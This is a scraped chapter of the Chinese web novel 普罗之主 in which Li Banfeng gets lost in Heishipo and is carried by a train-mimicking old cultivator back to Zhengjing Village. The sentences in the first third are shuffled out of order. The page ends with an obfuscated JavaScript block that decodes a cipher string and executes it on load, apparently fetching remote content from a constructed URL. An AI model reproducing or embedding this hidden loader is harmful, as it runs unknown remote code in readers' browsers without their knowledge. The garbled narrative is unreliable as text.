返回

普罗之主

首页
关灯
护眼
字体:
第二百七十七章 新地火车
“七爷,报馆这边也没什么事,我陪您在城里逛逛。”白秋生收拾东西正要出发,可李伴峰不愿意带着他去。

有些时候,李伴峰习惯独来独往,带个人在身边,做正经事不方便,回随身居也不方便。

昨天,宇文琪还说,城东那边新开了一座舞场,十几个舞娘,没有衣着,一起跳。

李伴峰不是想看人家姑娘跳舞,他是想看一下黑石坡的风俗。

这样的地方,就不适合跟别人一起去,别人会产生误会,觉得李七这人格调不高。

万一裤子里出点状况,别人又会觉得李七这人耐力不好。

“你给我弄张地图,我自己走,要有新地标记。”

白秋生弄了张地图给李伴峰:“七爷,这是最新的地图,但在黑石坡,地图不一定好用,

尤其到了新地附近,您可千万要加小心,我给您标记出来的入口,您可以往里走,我没标记出来的地方,您千万不要去,

黑石坡这些年开了太多煤矿和石矿,有些山都挖没了,有些不是入口的地方,也成了入口,

这些地方都不要去,这都是有危险的地方,还有些地方地图上没标记出来,我也记不清楚了,您最好也别去,我跟您说的新地里东西,您也千万记清楚……”

白秋生絮絮叨叨说了一大堆,李伴峰听得很认真。

李伴峰上前打了個招呼:“大哥,我想去新地,该怎么走?”

“打什么猎呀,玩命的营生,找个班上多好!”

吊车司机想了想,举起了右手:“好像是这边……”

司机皱眉道:“你这是干啥呀,问个路你给啥钱呀?”

这大哥挺热情,把李伴峰带到路边,一通指点道:“从这条道直走,前边路口左转,走到第三个路口右转,一条道走到底在左转,到了那就能看见新地入口了,

你只能按我说这个走,别的地方千万不能去,万一走错了,这可是要出人命的!”

前边有一片工地,一名吊车司机正在路边抽烟。

咣当!

下边负责指挥的人喊道:“右,往右,再往右一点,我让你往右,你特么的……”

指挥的怒道:“伱特么逗我?”

……

李伴峰道谢,给了这司机十块钱。

“呜呜~”

在李伴峰看来,这些担心都很多余。

还有火车经过?

按着地图,换一趟车再坐。

见李伴峰走远了,司机把钱收下了,其实心里还是挺高兴的。

他是旅修,轻易不会迷路。

李伴峰有些好奇,这段铁轨通向什么地方?

在新地里修铁路是不现实的,就算真有人冒死把铁路修成了,也不可能有人维护。

既然是去认路,一开始李伴峰是打算走着去的。

其实白秋生只担心两件事,一是李伴峰会迷路,二是到了新地之后,遇到异怪。

思索之间,忽听身后有汽笛声响起。

李伴峰先后倒换了六趟车,没有走到新地边缘,也没有找到城东的舞场,他迷路了。

李伴峰一笑,没有回答,他从来不让人凭白做事,哪怕再小的事情也是如此。

“去新地干啥?”

“怎么连个标志性建筑都没有……”

“打猎呀!”

铁轨一路向南,朝着无尽的黑暗之中延伸,真有通往新地的铁路?

估计只是修到了新地边缘,为了方便一些猎人运输货物。

可有些诱惑让人抵挡不了,就比如说小巷里突然钻出来一辆小火车。

常坐公交车的人都知道,会走路和会倒车是两回事。

上午十点多钟,车上没什么人,李伴峰买了几本杂志,在车上摇摇晃晃,边走边看,不知不觉,坐到了终点。

吊车司机举起左手道:“这不是右么?”

可等站在铁轨旁往南一看,李伴峰发现自己判断错误。

李伴峰一惊,赶紧远离了铁轨,仔细一看,身后没来火车,而是站了一位老者。

可这么重要的一条铁路怎么会废弃了?

另一位司机从吊车上走了下来,喊一嗓子道:“换班了!”

在黑石坡,火车站是最常见的存在,只是这座火车站貌似已经废弃了,铁轨还在,站台塌了一半,票房子(候车室)彻底塌了。

至于新地,从白秋生的描述来看,黑石城的外层新地和绿水城没有区别,内层新地什么状况,白秋生也没去过,李伴峰暂时也不打算走太深。

这位司机上了车,操控着机器开始吊石头。

吊车的抓斗走偏了,差点撞到人,指挥的怒道:“特么的,我让你往右,哪是右你知不知道?”

黑石坡的建筑风格相近,整个城市发展的也相对均衡,没什么显眼的标志,李伴峰能大致判断出来自己在城南,但到底在什么位置却看不清楚。

李伴峰脚步快,按照吊车司机指的路,转眼之间走进了一座火车站。

老者前额高耸,脸颊浑圆,身躯健壮,正在铁轨上原地踏步。

呼哧~

他侧过脸,吐了一口气。

“呜呜~”然后他又学了一声火车鸣笛,学的非常的像。

咣当!咣当!

他左右同步摆臂,好像火车快要开了。

李伴峰带着同情的目光看了老者一眼,轻轻叹了口气。

精神病和疯子还是有明显区别的。

这老头竟然以为自己是个火车,你说这事多离谱?

我从来没有以为自己是个火车,偶尔我会觉得自己是一架飞机,又或是坦克之类的,但这和火车有本质区别,火车总在铁轨上跑,不自由……

李伴峰正在思索间,忽见老头对他说了句话:“上车!”

“上什么车?”

“快开车了,你还不上车?”

要不说这老头疯了,还让我上车!

我怎么可能上车?

李伴峰看着老头,嗤笑一声道:“我还没买票呢!”

“上车再补票吧!”老头突然出现在李伴峰面前,李伴峰几乎没看见他的行动轨迹。

他背起李伴峰,沿着铁路线,撒腿就跑,一边跑,嘴里还不闲着:

“呼哧,呼哧,呼哧,呜,呜呜~”

李伴峰怒道:“你这是要去哪?”

“别乱动,掉下去,摔死你!”

这老头速度很快,快到李伴峰看不清两边的景致。

这是什么层次的修者?

他到底要带我去哪?

李伴峰悄无声息拿出了镰刀,忽听老者笑道:“你还乱动,信不信我把你扔下去,看着你变成一朵花。”

李伴峰把镰刀收了。

老头这句话信息量很大,得分开听。

他把扔下去,以他如此快的速度,李伴峰很可能看不见他的身形。

如果这个时候,他看着李伴峰,李伴峰就会变成一朵花。

这是旅修的五层技,走马观花。

按照手套的说法,这一技法一般用在高层修者对低层的碾压局里。

现在李伴峰面临的,就是一位可以碾压他的高层旅修。

他到底要干什么?

李伴峰现在唯一能指望的只有随身居,只要得了机会,立刻钻到随身居里,就算被老头捡走了钥匙也没有关系。

他竭力分辨着两边景物,如果遇到树林草丛,就立刻动手。

可老头速度越来越快,他已经冲过了铁轨的尽头,还在不停向前狂奔,李伴峰视线越来越模糊,焦急之间,老者突然长啸一声:“哧~”

他刹车了。

他把李伴峰扔在了地上,一脸认真的说道:“到站了,补票!”

李伴峰认真回答:“车票多少钱?”

“硬座一百五!”

硬座?

李伴峰喝道:“你有别的席位么?”

老头从后背上展开了一个担架:“硬卧二百八!”

“有软卧么?”

老头又从背上展开了个床垫:“软卧三百三!”

服了。

李伴峰给了老头二百块钱,老头一脸慷慨道:“不用找了,呜呜~呼哧呼哧~”

他摆动双臂,“开车”走了。

特么的,给二百,还不找钱。

早知道我选卧铺了。

不对呀,这也不是我选的!

这个老疯汉,他把我带到这地方做什么?

李伴峰看了看四周的环境。

这是一片茂盛的丛林,有那么一点熟悉,又想不起来在哪见过。

老者来时的足迹能找到么?

好像能看见些脚印。

是有一排脚印,还挺深的。

李伴峰沿着脚印往回走,忽听身后传来了一声锐鸣:

“呜嗷,呜呜~呼哧!呼哧!呼哧!”

我套!

那老东西又回来了。

他这不是单程的,是往返的。

这老头居然还有固定路线。

李伴峰没敢多想,立刻离开了脚印的轨迹,他怕老头追来,一口气跑出了十几里。

跑的过程中,李伴峰还在想,要是我不跑,直接跟老头说坐车,给他个车票钱,会不会再把我背回去?

算了吧,咱是正常人,咱不能跟个精神病认真。

他一旦再犯病了,难说把我拉到什么地方。

确系老者没有追上来,李伴峰看了看周围的环境。

这里越发眼熟了,他确定自己来过。

往东走了十几里,翻过了一座山,在荒原上走了个把钟头,李伴峰看到了一座村子。

在村子口,一只硕大的蓑蛾夫人正在巡哨,李伴峰以为是燕子,走近了一看,原来是巧翠。

“七爷,你回来了!”巧翠热情的打起了招呼。

正经村!

这老头怎么知道正经村的?

他为什么要把我带回这里?

从正地上来看,绿水湾和黑石坡不算近,但从新地上来看,两者距离并不远。

“七爷,你跟五郎说说,让他今晚去我那呗。”

李伴峰一怔:“老五回村子了?”

“嗯,正在湖边拍戏呢。”

他怎么回村子了?

李伴峰进了村子,马五穿着一身黑色中山装,正在湖边调试摄像机,《血枪神探》貌似又开拍了。

旁边还有几个人负责搭景,几位演员画好了妆,等着就位,李伴峰问道:“老五,不是说要操办煤炭和矿石的生意么?怎么回村子了?”

马五道:“这不得先忙急事么?你怎么也回来了?”

李伴峰道:“我那什么……”

他没去解释。

扫了一眼片场,李伴峰看见了白秋生。

白秋生正在改剧本。

这是马五的习惯,拍电影的时候,身边必须跟着编剧。

李伴峰压低了帽檐,问道:“你也回来了?”

白秋生起身道:“七爷,这边说有急事,我就先回来了。”

“这样啊……”李伴峰点点头,把帽檐压得更低了。

PS:这个白秋生是什么人?

(本章完)


上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();